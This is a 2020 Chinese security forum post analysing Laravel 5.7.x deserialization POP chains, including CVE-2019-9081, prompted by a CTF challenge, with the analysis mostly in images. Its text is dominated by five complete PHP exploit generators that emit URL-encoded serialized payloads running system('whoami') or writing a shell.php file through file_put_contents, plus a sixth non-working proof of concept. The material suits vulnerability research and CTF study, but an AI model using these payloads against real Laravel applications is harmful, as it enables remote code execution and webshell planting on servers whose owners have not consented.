# 图说 Lavarel 5.7.X RCE POP 链

**URL:** <https://forum.90sec.com/t/topic/1171>\
**Category:** 代码审计\
**Created:** [2020 年7 月 1 日 15:15 UTC](https://forum.90sec.com/t/topic/1171 "2020-07-01T15:15:42Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

作者： ![Mrkaixin](https://forum.90sec.com/user_avatar/forum.90sec.com/mrkaixin/32/6180_2.png) [@Mrkaixin](https://forum.90sec.com/u/Mrkaixin)\
发布日期： [2020 年7 月 1 日 15:15 UTC](https://forum.90sec.com/t/topic/1171/1 "2020-07-01T15:15:42Z")

</div>

# 前言

也是这次的第五空间比赛中，出了一道关于Lavarel反序列化链的题目，引发了许多师傅对 `Lavarel5.7.x` 版本的反序列化链子的思考。

并且这么多链子跟下来，感觉有一个字直接灵魂。 **巧**

这里防止文章过于冗长，便于师傅阅读和思考。所以这次直接用图片的方式分析一下POP链。

~~某些链子在7.X版本也是可以使用的哟~~~

想申请一个论坛的wiki的账号。

# 环境搭建

可以直接利用 `composer` 安装

```
composer create-project laravel/laravel laravel57 "5.7.*"

```

然后利用 `artisan` 来启动 `lavarel` 。访问 `localhost:8000` 即可

```php
php artisan serve --host 0.0.0.0

```

# 1.0 CVE-2019-9081

## 1.1准备工作

首先我们先构造一个反序列化的利用点吧。  
 ![构造反序列化点](https://forum.90sec.com/uploads/default/original/2X/0/0ee6462025b9c53d30d2434c9b10a1355a9e3328.png)

编写路由

`routes\web.php`

![添加路由](https://forum.90sec.com/uploads/default/original/2X/f/f8d4f6edc512f0f284d0db52cc6e24972abcd964.png)

## 1.2 漏洞复现

![复现](https://forum.90sec.com/uploads/default/original/2X/9/9e943bde8d254f051a7d17ca8116d249b2f17e14.gif)

## 1.3 POP链分析

这里尽量简短的分析一下这个链子吧。

![image-20200630170503399](https://forum.90sec.com/uploads/default/original/2X/4/48a8897300321cd300b7e73f5d0ad131998d6278.jpeg)

绕过 `createABufferedOutputMock` 之后就回到了 `mockConsoleOutput` 函数里面

![图二](https://forum.90sec.com/uploads/default/original/2X/3/37687a95888f9e72bf96333a395bbf89619ba0d4.jpeg)

出了 `bind` 也就来到了 `run` 方法

![图三](https://forum.90sec.com/uploads/default/original/2X/a/ac24dce17c5c36b7d8cbc1df157e551184a91298.jpeg)

这样就进入了 `Container.php` 中的 `call` 方法。

![命令执行](https://forum.90sec.com/uploads/default/original/2X/e/ef40489d292778e1f057e5d0c4aebf7c89d51211.jpeg)

最后的执行栈图如下

![执行栈图](https://forum.90sec.com/uploads/default/original/2X/e/e4702b568c88c683a2d1f64c40bbd133c550e632.png)

## 1.4 exp

```php
<?php
namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct()
    {
        $this->expectedOutput=['Mrkaixin'];
        $this->expectedQuestions=['Mrkaixin'];
    }

}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;
    public function __construct()
    {
        $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand{
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct()
    {
        $this->command='system';
        $this->parameters=['whoami'];
        $this->test=new EntityPopulator();
        $this->app=new Application();
    }
}

//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingCommand()));

```

# 2.0 巧用Format

## 2.1 漏洞复现

![复现](https://forum.90sec.com/uploads/default/original/2X/8/819b6eccc17f05a679f49127db317e278a48583d.gif)

## 2.2 POP链分析

如图所示

![分析](https://forum.90sec.com/uploads/default/original/2X/3/3d8abcc19c9cf9c9a2c35c873bd156962ccf15b8.jpeg)

## 2.3 exp

```php
<?php
namespace Faker;

class Generator
{
    public $formatters;
    public function __construct()
    {
        $this->formatters = ['addCollection'=>"system"];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;
use Faker\Generator;

class ImportConfigurator
{
    public $route;
    public $parent;
    public function __construct()
    {
// $this->route =["whoami"];
        $this->route="whoami";
        $this->parent = new Generator();
    }
}

echo urlencode(serialize(new ImportConfigurator()));

```

# 3.0 一条非常巧的链子

## 3.1 漏洞复现

![v0XMFqEooG](https://forum.90sec.com/uploads/default/original/2X/8/83525c0a5669ec908874f22e9c580d3798e0b1ca.gif)

## 3.2 POP链分析

![思路分析](https://forum.90sec.com/uploads/default/original/2X/f/f646b56495446c2ed628b6d6fefe66866006045e.jpeg)

调用栈

![调用栈](https://forum.90sec.com/uploads/default/original/2X/5/591a3b384111cf5e3c52e8bf403fbc6853882a05.png)

## 3.3 exp

```php
<?php

namespace Illuminate\Database\Eloquent;
class Builder
{
    public function __construct()
    {
        $name = "<?php phpinfo(); ?>";
        $this->localMacros = ['register' => 'Illuminate\Support\Arr::first'];
        $this->$name="shell.php";
    }
}

namespace Illuminate\Routing;

use Illuminate\Database\Eloquent\Builder;

class PendingResourceRegistration
{
    public $name;

    public function __construct()
    {
        $this->registrar = new Builder();
        $this->name = 'file_put_contents';
    }
}

echo urlencode(serialize(new PendingResourceRegistration()));

```

# 4.0 巧妙"故技重施"

## 4.1 漏洞复现

![复现](https://forum.90sec.com/uploads/default/original/2X/7/79d7275bd744e1d1d8d7c3a3faf9d8392e8075c3.gif)

## 4.2 POP链分析

这个链子是在第一条链子被封锁的情况下的第二个办法。利用 `call_user_func` 去触发 `src\Illuminate\Foundation\Testing\PendingCommand.php` 中的 `run` 方法。所以这部分只分析到如何触发 `run` 方法。

![分析](https://forum.90sec.com/uploads/default/original/2X/e/e324835d4dc6d6a1da8922908ecd5f02e3d1b4f4.jpeg)

操作栈  
 ![操作栈](https://forum.90sec.com/uploads/default/original/2X/8/8fe39101a7082e1e23b5d008567d78546ea42f92.png)

## 4.3 exp

```php
<?php
namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;
    public function __construct()
    {
        $this->expectedOutput=['Mrkaixin'];
        $this->expectedQuestions=['Mrkaixin'];
    }

}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;
    public function __construct()
    {
        $this->bindings=['Illuminate\Console\OutputStyle'=>'Mrkaixin','Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand{
    public $parameters;
    public $test;
    public $app;
    public $command;
    public function __construct()
    {
        $this->command='system';
        $this->parameters=['whoami'];
        $this->test=new EntityPopulator();
        $this->app=new Application();
    }
}

namespace Symfony\Component\Routing;
class RouteCollection
{
    public $routes;

    public function __construct()
    {
        $this->routes =['Mrkaixin is beautiful'];
        $this->resources=['Mrkaixin is handsome'];
    }
}

namespace Faker;
use Illuminate\Foundation\Testing\PendingCommand;
use Symfony\Component\Routing\RouteCollection;

class ValidGenerator
{
    public $generator;

    public function __construct()
    {
        $this->generator =new RouteCollection();
        $this->validator=[new PendingCommand(),'run'];
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;

use Faker\ValidGenerator;

class ImportConfigurator
{
    public $parent;
    public $route;

    public function __construct()
    {
        $this->parent = new ValidGenerator();
        $this->route = ['Mrkaixin'];
    }
}

echo urlencode(serialize(new ImportConfigurator()));

```

# 5.0巧妙的"故技重施" X2

## 5.1 漏洞复现

![rUegh2UTWj](https://forum.90sec.com/uploads/default/original/2X/b/b1916cf12423da0a8cd3164a79651083d12a6cad.gif)

## 5.2 POP链分析

这里也是和链子4一样，寻找可以利用的`call_user_func`去触发`src\Illuminate\Foundation\Testing\PendingCommand.php`中的`run`方法。

如图所示

![图解](https://forum.90sec.com/uploads/default/original/2X/2/288487c594ef3a8c816756351dc2fe31bc97e262.jpeg)

调用栈图如下

![调用栈](https://forum.90sec.com/uploads/default/original/2X/b/bf8f90a8b4d06893e40c82ff1a451728fca7d465.png)

## 5.3 exp

```php
<?php

namespace Faker\ORM\CakePHP;

class EntityPopulator
{
    public $expectedOutput;
    public $expectedQuestions;

    public function __construct()
    {
        $this->expectedOutput = ['Mrkaixin'];
        $this->expectedQuestions = ['Mrkaixin'];
    }

}

namespace Illuminate\Foundation;
class Application
{
    public $bindings;

    public function __construct()
    {
        $this->bindings = ['Illuminate\Console\OutputStyle' => 'Mrkaixin', 'Illuminate\Contracts\Console\Kernel' => ['concrete' => 'Illuminate\Foundation\Application']];
    }

}

namespace Illuminate\Foundation\Testing;

use Faker\ORM\CakePHP\EntityPopulator;
use Illuminate\Foundation\Application;

class PendingCommand
{
    public $parameters;
    public $test;
    public $app;
    public $command;

    public function __construct()
    {
        $this->command = 'system';
        $this->parameters = ['whoami'];
        $this->test = new EntityPopulator();
        $this->app = new Application();
    }
}

namespace Illuminate\Validation\Rules;

use Illuminate\Foundation\Testing\PendingCommand;

class RequiredIf
{
    public function __construct()
    {
        $this->condition = [new PendingCommand(), 'run'];
    }
}

namespace Symfony\Component\Routing;

class RouteCollection
{
    public function __construct()
    {
        $this->routes = [];
    }
}

namespace Symfony\Component\HttpFoundation;
use Illuminate\Validation\Rules\RequiredIf;

class Cookie{
    public function __construct()
    {
        $this->path=new RequiredIf();
    }
}

namespace Symfony\Component\Routing\Loader\Configurator;

use Symfony\Component\HttpFoundation\Cookie;
use Symfony\Component\Routing\RouteCollection;

class CollectionConfigurator
{
    public $collection;
    public function __construct()
    {
        $this->collection = new RouteCollection();
        $this->route = new Cookie();
    }

}

//echo (serialize(new CollectionConfigurator()));
echo urlencode(serialize(new CollectionConfigurator()));

```

# 6.0 一条没搞懂的POP链(失败)

## 6.1 疑惑点

首先还是和链二一样从 `src\Illuminate\Routing\PendingResourceRegistration.php` 的 `register` 函数进去，

![从这进入](https://forum.90sec.com/uploads/default/original/2X/c/c357bb73e253cd110fcc0c797d21e72ab601a36d.png)

然后这里也是想到了利用 `call_user_func` 来rce

![可以传入3个可控参数](https://forum.90sec.com/uploads/default/original/2X/b/bae88be329d029320153739e35110e5ab3e40ac5.png)

然后触发 `Logger` 的 `__call` 函数。

![触发__call](https://forum.90sec.com/uploads/default/original/2X/f/f71e21e1f1cdd40dc5e94811c19980eaf4453cb0.png)

一开始以为这个地方是可控的，按理说都应该触发的是 `call_user_func(xxxx)` 但是这里触发的是某个类的 `register` 函数。导致产生错误。

![image-20200701223832785](https://forum.90sec.com/uploads/default/original/2X/8/8b5acbe5892c4d8a3d7ffb5be27cd0a9611421a4.png)

所以这个地方有点没搞懂。希望师傅们能给点思路。

## 6.2 POC

```php
<?php

namespace Illuminate\Log;

class Logger
{

    public $logger;
    public $register;

    public function __construct()
    {
        $this->logger = $this;
        $this->register='call_user_func';
    }
}

namespace Illuminate\Routing;

use Illuminate\Log\Logger;

class PendingResourceRegistration
{
    public $name;
    public $controller;
    public $options;

    public function __construct()
    {
        $this->registrar = new Logger();
        $this->name = 'file_put_contents';
        $this->controller = 'shell.php';
        $this->options = '<?php phpinfo(); ?>';
    }
}

//echo serialize(new PendingCommand());
echo urlencode(serialize(new PendingResourceRegistration()));

```

# 参考资料

[laravelv5-7反序列化rce](https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/)

[第五空间-WriteUp](https://mp.weixin.qq.com/s/TyJsK5Rkg6MXvADS13RIcA)

---

<div class="post-metadata">

作者： ![Joseph](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/dc4da7/32.png) [@Joseph](https://forum.90sec.com/u/Joseph)\
发布日期： [2020 年7 月 2 日 14:21 UTC](https://forum.90sec.com/t/topic/1171/2 "2020-07-02T14:21:39Z")

</div>

老哥写的很不错，也易懂
